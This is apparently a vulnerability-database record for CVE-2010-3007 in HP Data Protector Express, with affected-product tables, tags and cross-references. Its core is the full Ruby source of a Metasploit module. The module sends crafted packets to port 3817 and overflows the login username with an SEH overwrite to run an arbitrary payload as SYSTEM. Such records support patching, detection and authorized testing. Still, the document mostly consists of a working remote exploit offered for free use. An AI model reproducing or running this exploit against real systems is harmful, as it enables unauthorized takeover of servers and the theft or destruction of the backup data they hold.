ID
VAR-E-201009-0065
CVE
| cve_id: | CVE-2010-3007 | Trust: 2.4  | 
EDB ID
23290
TITLE
HP Data Protector - DtbClsLogin Buffer Overflow (Metasploit) - Windows remote Exploit
Trust: 0.6
DESCRIPTION
HP Data Protector - DtbClsLogin Buffer Overflow (Metasploit). CVE-2010-3007CVE-67973 . remote exploit for Windows platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | hp | model: | data protector | scope: | - | version: | - | Trust: 1.0  | 
| vendor: | hp | model: | sitescope | scope: | - | version: | - | Trust: 0.5  | 
| vendor: | hp | model: | data protector dtbclslogin | scope: | - | version: | - | Trust: 0.5  | 
| vendor: | hp | model: | data protector express sse | scope: | eq | version: | 4.x | Trust: 0.3  | 
| vendor: | hp | model: | data protector express sse | scope: | eq | version: | 3.x | Trust: 0.3  | 
| vendor: | hp | model: | data protector express | scope: | eq | version: | 4.x | Trust: 0.3  | 
| vendor: | hp | model: | data protector express | scope: | eq | version: | 3.x | Trust: 0.3  | 
EXPLOIT
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking
	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HP Data Protector DtbClsLogin Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in HP Data Protector 4.0 SP1. The
				overflow occurs during the login process, in the DtbClsLogin function provided by
				the dpwindtb.dll component, where the Utf8Cpy (strcpy like function) is used in an
				insecure way with the username. A successful exploitation will lead to code execution
				with the privileges of the "dpwinsdr.exe" (HP Data Protector Express Domain Server
				Service) process, which runs as SYSTEM by default.
			},
			'Author'         =>
				[
					'AbdulAziz Hariri', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2010-3007' ],
					[ 'OSVDB', '67973' ],
					[ 'BID', '43105' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-174/' ],
					[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02498535' ]
				],
			'Payload'        =>
				{
					'Space' => 712,
					'BadChars' => "\x00",
					'DisableNops' => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['HP Data Protector Express 4.0 SP1 (build 43064) / Windows XP SP3',
						{
							'Ret' => 0x66dd3e49, # ppr from ifsutil.dll (stable over windows updates on June 26, 2012)
							'Offset' => 712
						}
					]
				],
			'DefaultTarget' => 0,
			'Privileged'     => true,
			'DisclosureDate' => 'Sep 09 2010'
			))
		register_options(
			[
				Opt::RPORT(3817),
			], self.class)
	end
	def check
		connect
machine_name = rand_text_alpha(15)
		print_status("#{sock.peerinfo} - Sending Hello Request")
		hello =  "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"
		hello << "\x3a\x53\xa5\x71\x02\x40\x80\x00" << "\x89\xff\xb5\x00\x9b\xe8\x9a\x00"
		hello << "\x01\x00\x00\x00\xc0\xa8\x01\x86" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		hello << "\x00\x00\x00\x00"
		hello << machine_name << "\x00"
		hello << "\x5b\x2e\xad\x71\xb0\x02\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"
		hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xe8\xc1\x08\x10"
		hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"
		sock.put(hello)
		hello_response = sock.get
		disconnect
		if hello_response and hello_response =~ /Dtb: Context/
			return Exploit::CheckCode::Detected
		end
return Exploit::CheckCode::Safe
end
def exploit
connect
machine_name = rand_text_alpha(15)
		print_status("#{sock.peerinfo} - Sending Hello Request")
		hello =  "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"
		hello << "\x3a\x53\xa5\x71\x02\x40\x80\x00" << "\x89\xff\xb5\x00\x9b\xe8\x9a\x00"
		hello << "\x01\x00\x00\x00\xc0\xa8\x01\x86" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		hello << "\x00\x00\x00\x00"
		hello << machine_name << "\x00"
		hello << "\x5b\x2e\xad\x71\xb0\x02\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"
		hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xe8\xc1\x08\x10"
		hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"
		sock.put(hello)
		hello_response = sock.get
		if not hello_response or hello_response.empty?
			print_error("#{sock.peerinfo} - The Hello Request hasn't received a response")
			return
		end
		bof = payload.encoded
		bof << rand_text(target['Offset']-bof.length)
		bof << generate_seh_record(target.ret)
		bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']+8}").encode_string
		# The line below is used to trigger exception, don't go confused because of the big space,
		# there are only some available bytes until the end of the stack, it allows to assure exception
		# when there are mappings for dynamic memory after the stack, so to assure reliability it's better
		# to jump back.
		bof << rand_text(100000)
		header =  [0x8451].pack("V") # packet id
		header << [0x32020202].pack("V") # svc id
		header << [0x00000018].pack("V") # cmd id
		header << [0].pack("V") # pkt length, calculated after pkt has been built
		header << "\x00\x00\x00\x00" # ?Unknown?
		pkt_auth = header
		pkt_auth << bof # username
pkt_auth[12, 4] = [pkt_auth.length].pack("V")
print_status("#{sock.peerinfo} - Sending Authentication Request")
		sock.put(pkt_auth)
		disconnect
	end
end
Trust: 1.0
EXPLOIT LANGUAGE
rb
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
DtbClsLogin Buffer Overflow (Metasploit)
Trust: 1.0
TAGS
| tag: | exploit | Trust: 1.0  | 
| tag: | code execution | Trust: 1.0  | 
| tag: | Metasploit Framework (MSF) | Trust: 1.0  | 
| tag: | arbitrary | Trust: 0.5  | 
| tag: | vulnerability | Trust: 0.5  | 
| tag: | overflow | Trust: 0.5  | 
CREDITS
Metasploit
Trust: 0.6
EXTERNAL IDS
| db: | ZDI | id: | ZDI-10-174 | Trust: 3.2  | 
| db: | NVD | id: | CVE-2010-3007 | Trust: 2.4  | 
| db: | ZDI | id: | ZDI-12-173 | Trust: 1.7  | 
| db: | EXPLOIT-DB | id: | 23290 | Trust: 1.6  | 
| db: | EDBNET | id: | 61048 | Trust: 0.6  | 
| db: | EDBNET | id: | 45442 | Trust: 0.6  | 
| db: | 0DAYTODAY | id: | 19341 | Trust: 0.6  | 
| db: | EDBNET | id: | 24600 | Trust: 0.6  | 
| db: | PACKETSTORM | id: | 116276 | Trust: 0.5  | 
| db: | PACKETSTORM | id: | 118776 | Trust: 0.5  | 
| db: | BID | id: | 43105 | Trust: 0.3  | 
REFERENCES
| url: | https://nvd.nist.gov/vuln/detail/cve-2010-3007 | Trust: 2.1  | 
| url: | http://www.zerodayinitiative.com/advisories/zdi-10-174/ | Trust: 1.0  | 
| url: | https://www.intelligentexploit.com | Trust: 0.6  | 
| url: | https://www.exploit-db.com/exploits/23290/ | Trust: 0.6  | 
| url: | https://0day.today/exploits/19341 | Trust: 0.6  | 
| url: | http://www13.itrc.hp.com/service/cki/docdisplay.do?docid=emr_na-c02498535 | Trust: 0.3  | 
| url: | http://www.hp.com/ | Trust: 0.3  | 
SOURCES
| db: | BID | id: | 43105 | 
| db: | PACKETSTORM | id: | 116276 | 
| db: | PACKETSTORM | id: | 118776 | 
| db: | EXPLOIT-DB | id: | 23290 | 
| db: | EDBNET | id: | 61048 | 
| db: | EDBNET | id: | 45442 | 
| db: | EDBNET | id: | 24600 | 
LAST UPDATE DATE
2022-07-27T09:43:16.173000+00:00
SOURCES UPDATE DATE
| db: | BID | id: | 43105 | date: | 2010-09-08T00:00:00 | 
SOURCES RELEASE DATE
| db: | BID | id: | 43105 | date: | 2010-09-08T00:00:00 | 
| db: | PACKETSTORM | id: | 116276 | date: | 2012-09-06T02:03:26 | 
| db: | PACKETSTORM | id: | 118776 | date: | 2012-12-12T05:46:03 | 
| db: | EXPLOIT-DB | id: | 23290 | date: | 2012-12-11T00:00:00 | 
| db: | EDBNET | id: | 61048 | date: | 2012-09-18T00:00:00 | 
| db: | EDBNET | id: | 45442 | date: | 2012-12-11T00:00:00 | 
| db: | EDBNET | id: | 24600 | date: | 2012-09-06T00:00:00 |